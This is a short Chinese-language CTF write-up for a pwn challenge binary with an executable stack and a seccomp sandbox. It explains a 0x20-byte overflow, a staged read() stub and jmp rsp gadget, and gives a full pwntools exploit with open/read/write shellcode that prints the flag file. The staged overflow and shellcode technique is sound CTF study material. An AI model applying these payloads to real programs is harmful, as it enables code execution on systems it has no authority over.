
例行检查程序 

 

 
保护机制只开启了部分 relro 

 

 

栈可执行，我们可以在栈上写上 shellcode去 getshell，但是程序开启了沙箱 

 



 

所以我们执行写 orw，通过进一步分析发现 

 



 

 

我们只能溢出 0x20的字节，我们无法写入全部的 shellcode，所以我们需要用

shellcode写一个 read函数，增大读入量 

 

```python 

read_size = ''' 

push rbp 

mov rbp, rsp 

sub rsp, 0x100 

mov rdi, 0 

mov rsi, rsp 

mov rdx, 0x200 

mov rax, 0 

syscall 

leave 

ret 

''' 

``` 

 

之后写入 orw的 shellcode即可 

 

最后 exp 

 

```python 

from pwn import * 

elf = ELF('./shellcode') 

io = process('./shellcode') 

libc = elf.libc 



context(log_level='debug',os='linux',arch='amd64') 

 

io.recvuntil('?') 

#flag = 0x000067616c662f2e 

jmp_rsp = 0x400685 

jum = ''' 

sub rsp, 0x30 

jmp rsp 

''' 

read_size = ''' 

push rbp 

mov rbp, rsp 

sub rsp, 0x100 

mov rdi, 0 

mov rsi, rsp 

mov rdx, 0x200 

mov rax, 0 

syscall 

leave 

ret 

''' 

shellcode = ''' 

mov r15, 0x000067616c662f2e 

push r15 

mov rdi, rsp 

mov rsi, 0 

mov rax, 2 

syscall 

mov r15, rdi 

mov rdi, 3 

mov rsi, r15 

mov rdx, 0xff 

mov rax, 0 

syscall 

mov rdi, 1 

mov rsi, r15 

mov rdx, 0xff 

mov rax, 1 

syscall 

 

''' 

 

jmp1 = ''' 

sub rsp, 0x110 



jmp rsp 

''' 

 

payload = asm(read_size).ljust(0x28,'\x00')+p64(jmp_rsp)+asm(jum) 

 

#gdb.attach(io) 

 

io.send(payload) 

 

io.send(asm(shellcode).ljust(0x108,'A')+p64(jmp_rsp)+asm(jmp1)) 

 

 

 

 

io.interactive() 

``` 

 

 

 


